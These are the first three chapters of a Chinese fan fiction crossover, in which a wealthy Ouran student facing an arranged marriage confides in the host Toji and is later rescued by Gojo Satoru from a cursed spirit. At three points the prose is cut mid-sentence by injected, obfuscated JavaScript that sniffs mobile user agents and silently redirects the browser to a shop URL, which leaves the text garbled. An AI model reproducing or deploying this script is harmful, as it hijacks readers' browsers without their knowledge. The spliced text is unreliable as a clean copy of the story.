《甜心五条会梦见替身青梅吗》 1. 001.男公关 樱兰学院南校舍的最顶层,北面长廊的尽头处,第三音乐教室。 打开门之后—— 蔷薇色的气息挟着春风迎面扑来。 随后映入眼帘的是,比花瓣更灿烂的少年们的脸庞。 面前,几名身着制服的美少年笑着说:“欢迎光临,樱兰男公关部。” 这里是樱兰高校赫赫有名的男公关部。 顾名思义,是以取悦校园女生为主旨的社团,并且为女学生们提供了享用下午茶的空间。 只不过社团成员皆是家境优渥的富家少爷,来光顾的自然也同样是富家千金。 羽鸟真凛最近也成了公关部的常客,至少她觉得在这里打发午休时间是相当惬意的选择。 “原来是我们的贵宾,真凛小姐。” 见到羽鸟真凛走进门,公关部的头牌兼校园王子须王环率先来接待——他每次登场时简直自带闪亮的少女漫画光环。 金发碧眼的王子深情单膝跪地:“来,请随我乘上只属于你的水晶马车,公主殿下。” 该说不愧是头牌吗,一举一动足以令所有女生为之尖叫。 然而羽鸟真凛的内心并没有为校园王子那俊美的容貌引起一寸波澜。 “谢谢,环同学。”她唇角轻扬,笑容里九分体面与风度,剩下一分清冷疏离。 “殿下你再怎么献殷勤也没用,羽鸟学姐只会指名春绯啦。”常陆院光在一旁摆出‘省省力气吧’的神情。 “光!身为部长我必须好好教导你,就算是再不近男色的顾客我们也要让她感到宾至如归!” “是是是……知道了。” 常陆院光说的是实话,羽鸟真凛并不需要其他人的接待,家训明令禁止她与异性过分亲近,所以她一般指名的只有Honey前辈和藤冈春绯,前者外貌如十岁正太,而春绯身为女孩子就更没问题。 除此以外,这些成员当中,她与凤镜夜的交情更多一些。 清隽的黑发男生总是静静立于一旁,低头忙着做策划和账务,睫毛在他眼下蒙上一层淡淡的影。 羽鸟真凛走进来的一刻,他从手帐中抬起眸,远远地黑色的眸光扫过她。 她也向对方微微点头示意,没有打招呼。 不知道出于什么心情,她最近很不想同凤镜夜说话。 “羽鸟学姐,午安,谢谢你总是指名我。”被羽鸟真凛指名的藤冈春绯留着俏皮的短发,大大的眼睛好像会说话。 羽鸟真凛一眼就看出了对方是女孩,她在学校里她藏了性别,伪装成男生接待顾客,是为了偿还欠公关部的债务。所以她才常来指名,特地来给春绯刷业绩。 “不用客气。今天我带了自己做的和菓子,虽然只是试作,春绯君愿意尝尝吗?”羽鸟真凛打开手中印有枫叶花纹的盒子,造型精美的四颗菓子跃然而出,分别是樱花、菖蒲、桔梗、紫阳花。 “哇——好漂亮!真的可以吗?”藤冈春绯受宠若惊,那些别出心裁的高级点心简直缭乱了她的眼睛,对她来说实属有些难以下手,她根本不懂食用这种东西时是否有什么讲究。 看出对方她的无措,羽鸟真凛亲自示范。为保留造型的美感,一般需要用竹切首先沿着花瓣纵向切开,再用竹切尖端插取一瓣进食。 “啊,张嘴,春绯君。” “……啊。”藤冈春绯羞红了脸,“好好吃!” “接下来该春绯君喂我了。” “嗯、好。” 两个女孩旁若无人地互相喂食。 “竟、竟然被春绯喂食……可恶啊呜呜呜!”须王环咬着手帕投来嫉妒的目光。 “殿下连女孩子的醋都吃,太难看了哦,你说是吧,镜——”常陆院馨笑着打趣,转过头却看到凤镜夜那僵硬的面庞。 “……镜夜学长?” 似乎,在意的人不止环殿下一人呢。 “呐呐,快看那边,是二年级的羽鸟学姐!” “真意外,羽鸟学姐指名的居然是春绯同学诶,明明一直以来只和凤镜夜学长走得近……” “男生们完全不敢肖想的高岭之花,居然和春绯同学互相喂食什么的……” “那镜夜学长怎么办?所以这是什么情况?内部修罗场?” 公关部的其他女顾客们在一旁窃窃私语。 不怪她们喜欢八卦,凤镜夜一向是话题人物,羽鸟真凛更是校园焦点。 她品学兼优、运动全能,为人处事八面玲珑,将高贵典雅融入骨髓,俨然是按照完美大小姐培养出的最佳典范,在樱兰学院拥有无数仰慕者。 更何况万里挑一的相貌,无论在哪都令人难以忽视。 冷瓷般的白肤,娇唇似花瓣,眸子仿若祖母绿宝石,微卷的栗色长发泛着绸缎光泽。 “之前我就一直在想,羽鸟学姐为什么总是指名我?” 听到议论的藤冈春绯忍不住发问。 羽鸟学姐各方面都出类拔萃,但是丝毫没有架子,对人十分温柔,是她憧憬的对象,这样的学姐愿意和她交朋友实在是荣幸。 “因为,某种意义上我们很像啊,春绯君。”羽鸟真凛轻吟道。 藤冈春绯歪了歪头:“很像……?” 作为樱兰的普通平民特招生,她不明白自己到底与这位千金小姐哪里像。 “嗯,”羽鸟真凛搅动着红茶,“会感到与周围的世界格格不入。” “诶?”藤冈春绯更加不解,“为什么学姐会这样认为呢?”她确实会感到自己不属于这里,但学校里最耀眼的学姐也会这样吗…… 羽鸟真凛笑笑不语。 “而且,”她凑近春绯,悄声说:“和春绯君一样,我也有不为人知的秘密。” · 放学的钟声敲响,学生们陆续离开教室,有的积极参与社团活动,有的奔向恋爱,有的踏上了自家私人飞机,准备去南方小岛度过周末。 羽鸟真凛的课后时间早已被各种课程填满,从弓道、茶道、花道到西洋乐器、马术等等,巨细无遗,最近还开始去百年传统的高级料亭里学起了日式点心。 她怔怔望着窗外,校庭里是一张张欢笑的脸,充满青春的味道。她看得有些出神,竟然没发现凤镜夜是何时出现的。 “真凛。” 她平静地抬起眸:“怎么了,镜夜?” 她和凤镜夜是同班。 “你最近避开我的行为未免表现得太刻意了。”凤镜夜冷静地陈述道,读不出任何情绪。 羽鸟真凛浅浅一笑:“抱歉,因为最近要学习的东西太多,有点累。” “你不觉得这种话作为借口太拙劣?” “……” 她:临时只能想到这么多,你还想怎样。 男生顿了顿继续说:“我猜,八成是因为是定下婚约的事情吧,如果你感到有压力的话可以由我这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600092|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向父亲驳回——” “与凤家联姻,是家父长久以来的心愿。”羽鸟真凛站起身打断了他。 言下之意,婚约是双方家的长辈共同决定的,不论是她还是镜夜都没有决定权,他驳回又有什么用呢? 她父亲羽鸟谦一郎处尽心机想让她攀上凤家高枝,多年来不遗余力地培养她,将她打造成凤家掌权人凤敬雄理想中的儿媳,如今一切都如父亲所愿,甚至可以说在凤敬雄眼中,找不到比羽鸟真凛更合适的联姻对象。 一边是自由,一边是对父亲的忠诚,她只能选择一样。 “这点我清楚,”凤镜夜几不可察地蹙了下眉,似问非问:“但我更想知道你的本心。” “我自然也很高兴,”她对答如流,“世上没有人比镜夜你更了解我,不是吗?” 语毕,她不敢对上凤镜夜的眼。 少年狭长的凤眼深邃如墨,既冷得像冰霜,又似深藏着某种期许。 没人比他更了解自己,不是吗? 她一度试图说服自己,对方不仅是自幼相识的青梅竹马,才华出众,拥有过人的头脑,与其将来嫁给不知道哪位草包少爷,与镜夜联姻是她人生中最好的选择,对此她理应感到庆幸。 明明应该庆幸才对…… 凤镜夜望着她:“真是这样吗?那为什么——” ——为什么总是露出那副落寞的神情。 凤镜夜心想到,却没能问出口。 他其实知道,羽鸟真凛的心里有一道高墙,那是她留给自己内心的分界线,仿佛不愿意让人真正地闯进去。 “啊,我家的司机应该到了。”羽鸟真凛瞥了眼腕表,很好地扯开话题。 她拎起书包,“之后还要练习小提琴和马术,所以,先走咯。” “……别太勉强自己。”凤镜夜欲言又止,叹了口气。 “哈哈,不努力些,怎么配站在镜夜身边呢?”羽鸟真凛打趣地说,“明天见!” 那个看似元气满满的笑,却在凤镜夜眼中留下清冷的背影。 他独自站在原地看着女孩离开,某个瞬间,他忽然有种感觉:她似乎即将去往一个他所不知道的世界。 · 入夜的歌舞伎町一番街,霓虹闪烁。 栗发女孩走在灯红酒绿的街头,一袭黑色连衣裙,褪去了白昼里的校服模样,带着一种融入黑夜的期盼。 她在一家装潢气派的门店前止步,头顶上的招牌花哨且醒目。 ——是家牛郎俱乐部。 推开门之后,混杂着酒精与香水的成年人气息扑面而来。 她的视线四处搜寻着某个身影,很快,在吧台处发现了目标。 黑发男人倚在吧台,身形高大挺拔,站姿闲散,神情桀骜不羁。 他只是站在那儿,不需要像其他人那样讨好或谄媚,浓厚到仿佛瞬间抽光周遭氧气的男性荷尔蒙就足以使女客人疯狂地往上靠。 察觉到她的视线,男人忽然转过头来,散漫的眼神变得饶有趣味。 “……呐,甚尔君,待会儿去我那里?”他身旁的女人百般纠缠。 “不好意思,改天一定。”名叫甚尔的男人推开女人的手臂,视线落在蓦然闯入的女孩身上,说:“我今晚还有客人。” 男人径直越过吧台,穿过迷离的灯光,走到她面前。 “这么久没来,总算想我了?羽鸟大小姐。” 2. 002.黑暗与苍 羽鸟真凛落坐于卡座沙发上,熟稔地挥手招呼侍者拿来最贵的酒,显然并非第一次光顾俱乐部。 与社团活动性质的樱兰公关部不同,这里可是真金白银的战场,更何况论色相来说,她指名的这位男人可是碎钞机级别的。 黑发男人浑身覆盖着充满爆发力的肌肉,面容如刀削般锋利,嘴角边一道细长的疤痕透出掩不住的野性。 “你看起来很烦恼,大小姐,需要我为你解忧?”昏暗的灯下,伏黑甚尔缓缓伸出手臂搭在羽鸟真凛背后,咫尺之间的距离将氛围烘托得暧昧不清。 往往他只要这样摆弄一下,瞬间就让顾客脸红心跳,血脉狂涌。 但在羽鸟真凛这里,伏黑甚尔只感受到对方平静如常的心跳,她连呼吸都没有乱半分。 大小姐虽然出手阔绰,却对男色丝毫不感兴趣,对伏黑甚尔而言,比起那些每每一见到他就如狼似虎贴上来的顾客,她反而更有趣。 “……”羽鸟真凛二话不说捞起桌上的高脚杯一饮而尽。 一杯下肚后,她开口:“我可能要订婚了。” “嗯?”伏黑甚尔挑起一边眼。 “准确地说,是被安排好了婚事。” “婚事?大小姐突然说出这么让人寂寞的话,或许我应该安慰你?但是谁又来安慰我感到失落的心?”伏黑甚尔懒洋洋地往后靠了些,以表现出一点所谓的失落。 “少来了,甚尔,我很严肃。” 羽鸟真凛身穿一套锆石黑的衣裙,环抱着双腿交叠而坐,彻底一反在学校树立的优雅且规矩的大小姐形象。 任何认识她的人也想不到,羽鸟真凛会光顾这种场所。 倒不是出于贪恋酒色,因为这是与她的生活环境完全对立的地方,她纯粹在享受忤逆家庭规训带来的愉悦,只有在这里,她可以做自己。 “这样的人生,我已经受不了了!”她啪地一声放下杯子。 “难道就因为我是女孩子,父亲只想让我嫁人,从来没打算让我继承家业,尽让我学习没用的新娘修行,至于羽鸟家的企业,以后只要跟凤家合并,交由凤家来管理就好了,所以我呢,被安排跟凤家联姻,以后的人生完全可以想像出来,当一个贤妻良母,规规矩矩地在家相夫教子……这根本不是我想要的!” 一直以来无处宣泄的内心想法,在充斥着酒精味道的空气中倾吐而出。 在其他女顾客看来是多么暴殄天物的一件事,花重金消费甚尔只是为了诉苦,可这却是羽鸟真凛最需要的。 伏黑甚尔大致能想象到她平日是怎样地压抑自我,否则也不会作出这种离经叛道的行为,不惜伪装成成年人独自光顾牛郎俱乐部。 想必,在她身边没有一个人能聆听她真实的心音吧。 “嗯,我在听。”男人注视着羽鸟真凛,嗓音低沉,极富磁性与蛊惑力。“在我面前,大小姐的欲|望统统不需要隐藏,可以的话,和我说说?” “唔……”羽鸟真凛承认,就算对方有几分演技的成分,但这情绪价值不假,不愧是真正的host。 “虽然也说不上是欲望,我只不过是,想要充满可能性的人生,享受普通高中生该有的青春,还想要去感受这个世界,去冒险,谈一场真正的轰轰烈烈的恋爱,而不是未来的一切都被安排得毫无悬念,英年早婚,嫁给没有爱情的青梅竹马,变成一个无聊的花瓶太太。” “可是家里没有人关心我的想法,我又有什么选择的权利呢?”她自嘲地一笑,祖母绿的眸子如同死灰。 “这么不愿意的话,离家出走,反抗父权,未必不是一种选择。”伏黑甚尔说道。 毕竟在这条赛道上他的确有发言权,他也曾脱离家族,选择了放浪形骸的生活。他对现在的人生说不上满意,但比起留在那个腐朽的家族里发烂好得多。 “不过,对于大小姐你来说,似乎有些难呢。” 离家出走代表失去经济支撑,而温室里长大的千金小姐几乎没有谋生的手段。 “甚尔说的没错,归根结底,是我没有能力逃出那个家。”羽鸟真凛抬起酒仰头,正想再灌下一杯,“啊,干脆一切都毁灭就好了。” 伏黑甚尔忽然抬手制止,粗壮有力的手不过是漫不经心地握住少女纤纤玉腕,而两者体型差距之大仿佛他动动手指就可以将她掰碎。 “喝这么多对大小姐来说还太早了,伤身体。”他劝道,“被父母发现的话也很糟糕吧。” 羽鸟真凛沉默,像丧失了机能的提线木偶任凭他握着。 “……他们不会发现的。” 平日,她跟父母之间的交集仅限于回家时的问候,父亲只是远远地坐在书房里朝她点头,不多过问,然后她便回到自己的卧室闭门不出。 “真是位可怜的大小姐。”伏黑甚尔语气放轻,喑哑的嗓音仿佛带上了怜惜。 “那么,要我帮你毁掉一切吗?如果你想,这在我的业务范围内。” 男人邪魅地勾起嘴角,目光幽深而充满危险,令人丝毫不怀疑他所说的话。 恶魔般的细语响彻在耳边,羽鸟真凛愣愣看着他,在与甚尔对视的几秒钟里,她感觉仿佛在凝视着深渊,黑暗以他为中心蔓延开来。 “如果有需要的话,我会联系你的,把电话号码留给我。”羽鸟真凛镇定地回道。 伏黑甚尔颇为意外,还以为会吓到她,这位温室里的大小姐某种意义上很不一般啊……或者,她根本不明白他的话意味着什么,还是说,负面情绪的影响已经让她不正常了吗。 长期压抑自我,被严格管教却又缺失家人的关怀,无可宣泄的情绪累积成压力等等……搞不好那些不干净的东西已经缠上她了,只可惜伏黑甚尔看不到,也无从证实。 “我只是开玩笑,大小姐可别当真了。” “一点也不像开玩笑呢,毕竟甚尔以前或许是□□之类的吧,总之就是暗黑世界的居民?怎么看都不像一般人。” 伏黑甚尔短促地笑了一声,并不打算否认:“啊啦,真是瞒不过大小姐的眼睛。” “既然如此,大小姐却一点也不害怕我?”大多数的顾客并不会在意他是什么样的人,只不过图他的皮囊罢了,如果真有人了解他恐怕也只会避而远之吧。 “大概是因为……在我这样每一步都被按照计划安排好的无趣人生里,碰见任何未知的色彩都觉得吸引人吧,如果我因为接近未知的人和事物而招致自身的毁灭,某种意义上也可以是另一种新生。” 羽鸟真凛语气里有种淡淡的死感。 “因为无法逃离家庭和父权的控制,所以你选择用这种方式来反抗自己的人生?”伏黑甚尔其实不喜欢交谈人生,并且他一向习惯选择漠视他人的命运。 说是看在钱的面子上也罢,或者说最高级的香槟过于醉人也罢,他今天竟然有些不同往常。 “大小姐此刻的想法很危险,如果有心怀叵测的家伙靠近你,只需要给你刺激和诱惑就能把你骗走,堕入邪道比你想象中更容易……” 男人猝然抬起下羽鸟真凛的下巴,很强势,但下手的力道又极轻,仿佛在碰一件易碎品。 被囚禁在对方的手掌心中,羽鸟真凛立刻感到她与成年男性之间的力量差距大到绝望,分毫都无法动弹,被异性的气息完全笼罩着…… 这是一件很可怕的事情。 恶作剧成功的伏黑甚尔瞬间收回手,转而举起杯,“就算是反抗人生,危险的事情还是别考虑的好,至少我认为,大小姐更适合生活在阳光下,别到‘这边’的世界来。” 晶莹的酒液在玻璃杯中摇晃,浮起一串串气泡。 “……这边?” “不要积累过多的负面情绪,这是我唯一能给你的建议。”不论是情绪还是思想上,她都相当危险,为此伏黑甚尔难得这么语重心长。 “希望下次见到的你,是笑着的。”他说。 羽鸟真凛离开俱乐部时,夜晚正热闹,对于别人来说夜生活才刚开始,而她该回家了。 人头攒动,灯红酒绿,人们白日积累的压抑在夜晚形成报复性的转变,看似夸张的狂欢其中多少夹杂着些许厌世情绪,身在其中的羽鸟真凛亦是如此。 但比起她的生长环境,在这里她能感觉到一丝自由的气息,因此一想到又要回那个死气沉沉的家,她心里百般不情愿。 总有人前来搭讪,她心不在焉。 她在思考着甚尔的话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600093|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——不要积累过多的负面情绪。 他说这句话像是被某种神秘力量笼罩着,并不是单纯的建议,更像是客观描述…… 这是什么暗示吗? 算了,想不明白的事暂时搁置。 还是先联系司机来接自己要紧。 原本她吩咐过司机藤仓九点准时来接自己,现在是20:40,她提早了些,还需要再通知对方一声。 当然,羽鸟真凛不会让司机来歌舞伎町接自己,而是指定了附近别的地方。 “嘟——嘟——” “嘟——嘟——” 连拨了两次电话都打不通。 “怎么回事……” 是电波不好吗?她微微皱眉,收起手机。藤仓是个严谨守时的人,若非出现意外,九点整他准会按时等候在她指定的地方,眼下电话打不通,她只好先走过去。 指定的地方在新宿站附近,以她的速度走过去差不多二十分钟。 她一路甩开各色男人的搭讪走出歌舞伎町,还没到新宿站附近,停在路边一条小巷子旁的黑色轿车引起了她的注意。 那是藤仓的配车,静静地停在昏暗的光线下。 然而,驾驶座的车门虚掩着,里面空无一人。 这太不寻常了,藤仓可不是这么不严谨的人,更不会擅自离岗。 羽鸟真凛忽然感到一阵不安。绑架?诱拐?不……藤仓只是一个司机,如果真有阴谋也应该冲着她来才对。 还是立刻寻求帮助吧。她记得附近有派出所,现在应该去找警察,交给专业人士来处理,除此以外她什么都做不了。 羽鸟真凛果断转身,刚向前迈出几步,脚尖突然踢到了什么轻薄的东西。但她低头一看,那里什么都没有。 紧接着,那种感触来到身体,浑身如同穿过一层若有似无的薄膜。 她眼前蓦然一黑,周遭的景象骤然剧变,刚才的街道还在城市霓虹和月光的笼罩下尽显光怪陆离,此刻忽然失去所有色彩与光亮,黢黑,阴森,空无行人,但是街景的布局没有丝毫改变。 羽鸟真凛猛然撺紧手心,难道刚才喝了假酒?出现幻觉了? 但下一秒,现实给了她沉重的一击。 “轰!” 眼前一栋楼整层的玻璃轰然碎裂,玻璃炸飞的声响狂暴刺耳。 还没搞清是怎么回事,她耳朵灵敏地捕捉到从不远处传来某种微妙的声音——迅疾的破空声。 “快躲开——!” 紧接着一个粗暴又焦灼的吼声响起。 躲开?躲开什么?羽鸟真凛茫然四顾,什么也没有啊。 虽然什么也没看到,但焦灼的气氛使她处于莫名的生理性紧绷状态。 “往右边!” 刚才那个男声又吼道,与此同时,羽鸟真凛确实听到破空声在接近自己左侧。 不知怎么地,她身形下意识地就往右边一跃,敏捷度拉满,完美闪避。 “呼……” 不知道发生了什么,但是总觉得那是很危险的东西。 幸好她运动万能的人设并非虚假,在这一刻发挥了奇迹般的救命作用。 “很好,待在那里别动——”那个声音又说道。 “……喂,到底是什么人在那里?”刚才起她就很想问,这声音到底是谁在说话,命令形的句式未免太多了吧! 下一刻,她便看到,于正前方的楼顶上闪出苍色的光芒,黑暗中忽而乍现的唯一光源同时照亮了人影,高挑颀长的身姿清晰而具象,如同神明般岿然屹立着。 那是什么人? ——是个男人……不,是少年。 无垢的白发未经尘世污染一般,宛如冬日的初雪。 他的双眼比光芒更明亮,深邃得仿若将整片苍穹融入其中。 “术式顺转,苍。” 羽鸟真凛看到苍色的光于少年手中飞速转动,随后化作强力的能量袭来,几乎擦着她的身呼啸而过! 气流狂烈,卷起她的长发在空中乱舞,她只是愣怔着,任由广袤的苍色占满视野。 那色彩是天空、水和空气,是深度与无限,是宇宙最本质的颜色,是她从未见过的自由与生命。*1 3. 003.遇见 由于那不知所谓的蓝色光芒掀起爆炸一样的效果,羽鸟真凛尽管想努力看清,终于还是止不住眯了眼,再一睁开眼,只见站在房顶上的那个男生忽然一跃而下。 “……?!” 她无法动弹,正在感受至今为止建立起的世界观一点点被瓦解的阵痛。 “喂,别发愣!” “诶?!”羽鸟真凛瞠目,少年不知道何时瞬间来到了自己跟前,然后她感到自己脚底腾空,腰部被一双手臂结结实实地捞住。 随即,刚才她所站的那块地面受到某种冲击而裂开。 ……好险好险,要是对方的救援迟了一秒,她可能会粉身碎骨? 抱着她的手依然没松开手,手的主人此时正一刻不停地东飞西窜着,被迫跟随着快速移动的羽鸟真凛只觉得眼花缭乱。 她有种在飞翔的错觉。 “……那个,请问现在是什么情况?” 对方用一只手臂夹住她的姿势迫使她的脸贴紧对方胸膛,她艰难地仰起一点头,受到了比紧张的生死时速更深的震惊。 世界上竟然有如此好看的脸。 面部骨骼结构极为优越,折叠度非常高,哪怕是这种死亡角度依然不损半分颜值。 睫毛居然和发色一样是雪白的,扑闪扑闪像是天使的羽毛。 她甚至能闻到他身上的味道,很好闻。 少年的气息,似清澈冷冽的雪松混杂一丝奶油的香甜。 “你被那家伙当成目标了。”五条悟说道。 如果不是这个突然闯进来的女生,他完全可以轻松解决掉咒灵。刚才也是因为生怕波及到她,他才稍微收了些力,因此没能完全命中咒灵。 现在这只咒灵突然挑软柿子捏,把攻击目标变成了她。 好吧,他只能拎着她一边躲避咒灵的攻击。 出于紧急的亲昵接触实在是毫无办法,他其实连自己怀里的女生长什么样都没注意,只不过是用六眼略微勘测过她周身,没有任何咒力流动。 看样子她也看不到咒灵。 令五条悟疑惑的是,就这样一个普通人,竟然毫无征兆地闯进了他设下的“帐”里。 “话说,你到底怎样进到帐里的?”五条悟一边高速移动,游刃有余地发问。 “……叽里咕噜说什么?可以慢一点吗,头好晕!” 羽鸟真凛表示已被晃晕,这可不是常人能承受的速度! 而且她根本听不懂他在说什么,对方的语言表达对现状的解释丝毫没有帮助。在她的眼里,他好像是在跟空气斗来斗去,究竟是玩哪出? 虽然依旧不明白现状,然而陌生又新鲜的血液在身体里奔腾不息,肾上腺素不断上升,但并非由于害怕或恐惧…… 这是什么感觉? “啧。” 头顶上方传来一个不太耐烦的动静,与此同时羽鸟真凛感觉速度慢了下来。 轰——! 又是一发来自“苍”的冲击。 这回的的确确命中了咒灵,直接当场超度。 “我在问,”五条悟解决掉咒灵,这才把羽鸟真凛放下,尘埃落定后,空气再次回归平静,他的目光总算慢悠悠地往她身上移:“你是什……“还没说完,他眼眶微微睁大,清晰地映出羽鸟真凛的身影。 “么人?”后半句卡在喉咙里慢半拍地吐出。 羽鸟真凛劫后余生般喘了几口大气,故作淡然地理了理衣服,回答道:“羽鸟真凛,普通高中生,有什么不妥吗?” 五条悟讶异地挑起一边眉。 まりん(Marin)。 发音的回响像雨水滴落水面,霎时间在他的意识之海泛起一层涟漪,一圈又一圈。 五条悟定定看着她,眼里写满难以置信:“你说你叫什么?” “哈?”羽鸟真凛不悦地皱起眉。长得好看就可以这么没礼貌吗? “首先,很感谢你救了我,刚才我已经介绍过自己了,同样的问题问两次是很失礼的行为喔,这位不知名的同学。” “其次,”她深吸了一口气,声音忽然拔高,“有一堆疑问的应该是我才对吧!你刚才那些……都是什么事啊?让我的唯物主义世界观情何以堪?为什么你看起来就像漫画里那种拥有超能力的角色?刚才你究竟在跟什么东西战斗?最后——你你你凑得太近了!喂!” 可疑的白发男子忽然凑近她,高挺的鼻尖近乎要抵上她的面颊,那双苍穹般的眼瞳直勾勾盯着她,似乎在观察什么。他整个人像一只对新鲜事物充满好奇的猫,那柔软的发丝似绒毛轻擦过她的脸,带起一阵酥麻的痒。 “喔,抱歉,我叫五条悟。”他语气毫无歉意,若无其事地拉开了距离,解释说:“刚才我在跟咒灵战斗,如果这是一部超能力漫画,我必然是绝对的主角,以上。” “流氓?!” 尚未缓过来的羽鸟真凛整个身体扭至一边,试图平复心跳。什么咒灵和超能力漫画之类的中二词汇,她似乎都没心思吐槽了。 尽管仅仅一瞬,她居然因为这个家伙乱了节奏。 “别光顾着害羞啦,所以有没有认真听我说话?”五条悟大咧咧地摊了摊手。 “……谁害羞了,你太自信了吧。”羽鸟真凛悄然震怒,开什么玩笑,她可是进牛郎店都能坐怀不乱的狠角色! 稍微平复了一些,她说道:“我听到了,超能力漫画的主角五条先生,是吧?” 虽然嘴上这样说,羽鸟真凛实际上仍有些不相信他那番话。什么咒灵之类的东西,她明明看不见任何东西,这一切不会是他自导自演吧? “喔,你听到我的名字了啊。”五条悟忽然发问:“那么你对这个名字没有印象?” 男生个子很高,站在她面前微微弯着腰以不至于俯视她,无形间迫使她与他四目相对。他眼里那片深邃无垠的晴空,仿佛会将人吸入其中。 羽鸟真凛有一瞬间的恍惚。 这双眼实在过于奇异而梦幻,甚至比帕拉伊巴宝石还要闪耀。 “五条……悟?”羽鸟真凛小心地吐出他的名字,如同面对一种从未见过的生物。 名为“五条悟”的存在如此奇特,像个霍然天降的梦境,撕碎了她对日常普通又无趣的认知。 他的出现仿佛在告诉她,迄今为止她的人生是多么荒唐和虚妄,她远远不了解自己所生活的这个世界。 “我从没听过这个名字。”她回答。 “……”五条悟沉默片刻,很快得出结论:“那应该是我搞错了。” 他将一直挂在头顶的圆墨镜重又戴上,关闭了六眼。 “搞错什么,难道把我认成了谁?”羽鸟真凛好奇道。 “没什么啦,以前认识的人,虽然姓氏不一样,但非常巧和你同名,而且长相……”五条悟再次用那种探究的目光看了她一眼,又及时将话头止住。 他用极微小的音量自言自语般说了句“怎么可能呢”。 “算了。”五条悟双手插进口袋,话锋一转:“我说你没事闯进‘帐’里干嘛,很危险知不知道?要不是我够迅速,你有几条命都不够用。” 所以说帐是什么东西? “真的很危险吗?”羽鸟真凛半信半疑地打量着他,“我什么奇怪的东西都没看到,除了你。” 她越来越怀疑,他是在自导自演。 难道这个人—— “喂喂,是我救了你欸,你现在是在怀疑我?”五条悟大跌眼镜。 他啧一声,修长的手指不耐烦地在空中晃:“你看不到,是你因为没有那个资质,不代表咒灵不存在。” 羽鸟真凛依然觉得事情太过匪夷所思,“如果真的有危险,怎么两三下就被你‘解决’了?” 她目光敏锐地扫过他那身过于干净的黑色制服:“而且你身上一点灰尘都没落下,很游刃有余嘛。”刚经历了一场战斗的人,怎么可能身上纤尘不染? 五条悟冒出一阵烦躁,难道要他从阿基里斯“悖论”里收敛的无穷级数开始解释吗?麻烦死了这家伙。 他仰了仰头,语气带着理所当然的倨傲:“因为我是最强的。” “……嗯?真的吗?”羽鸟真凛拖长了语调,继续发散着脑回路。 难道这个人—— 其实是个诈骗神棍?! 圆圆的墨镜也符合她对那种职业的刻板印象。或许这扇将整个空间都罩住的屏障,就是他搞出来的法术,先把她困在这里制造恐慌,然后自己再扮演救世主闪亮登场!其用心之险恶手段之高明令人措手不及!目的十分明显了! “我明白了。”羽鸟真凛当即翻出包,她打开钱夹,却尴尬地发现现金不多了,刚才都花在了甚尔身上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600094|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她把仅剩的三张万元纸币塞进五条悟手里: “不好意思,只剩这些了,够吗?” “???”五条悟低头看着被强塞手里的三张福泽谕吉,蓝眼睛在墨镜后面眨了眨,他突然知道了什么叫怒领工资。 “……你的脑回路是什么构造?我看起来像是在要钱?!”他不爽地提高音量,眼角不断抽搐着。 他真的怒了。 他,缺钱? 他,五条悟,只值三万块? “啊,都这么晚了。”与他内心的狂风暴雨形成鲜明对比的是,羽鸟真凛只低头看着腕表,丝毫不理会他气呼呼地想找她理论一番的心情。 她此刻只关心最实际的问题,时间一分一秒地流逝,她原本早该回家的。 “最强的五条先生,这里到底是哪里?可以放我出去了吗?” “我说你……”五条悟捏着三万块钱的拳头在颤抖,有气无处发。 算了,看她那焦急的样子,他又能能跟一般人计较什么。 “简单来说这里是结界内,是我设下的。” “果然是你的手笔。”她说,“那你能解开对吧?请你解开。” “不用你说我也会解除。”五条悟说着,忽然想起什么。“等等,我来的时候有个大叔受到咒灵的袭击受伤了,我先去确认下情况。” 有位无辜的遇害者同样被困在帐里,他原本打算解决咒灵去救他的,因为这位突然出现的麻烦人物导致他完全忘光了,不知道他人现在怎么样。想到这里,五条悟转身便要走,打算去检查遇害者有没有逝。 “等等我!”羽鸟真凛眼疾手快地拉住少年的衣服,紧紧跟在他后面亦步亦趋,生怕他把自己丢下。 五条悟背脊微微一僵,抗议道:“不用抓这么紧吧?勒到我了。” 衣料被她扯得紧绷,勒得他腰线的轮廓都透过衣服映出来了。 “……抱歉。”她脸颊微热,稍微松开些许,“这样可以吗?请忍耐一下,我怕你跑了。” 五条悟瞥了眼女生紧张的手指,漫不经心地哼笑一声:“我真想跑的话,你不仅拦不住我,即便会飞也抓不到我。” “……”羽鸟真凛向他投去狐疑的眼神。真的假的,吹牛都不打草稿吗,这家伙还真能吹嘘自己。 所以他言下之意,他是自愿被抓住的咯?他的确没有抗拒,非常老实地被她揪着衣服。 两人一前一后走到遇害者的地方。一位中年男子倒在血泊中,西装外套破损,伤势看起来十分骇人。 “大叔,还活着吗?”五条悟在浑身是血的男人面前蹲下,伸出手指探了下他的鼻息。“幸好,没逝。” 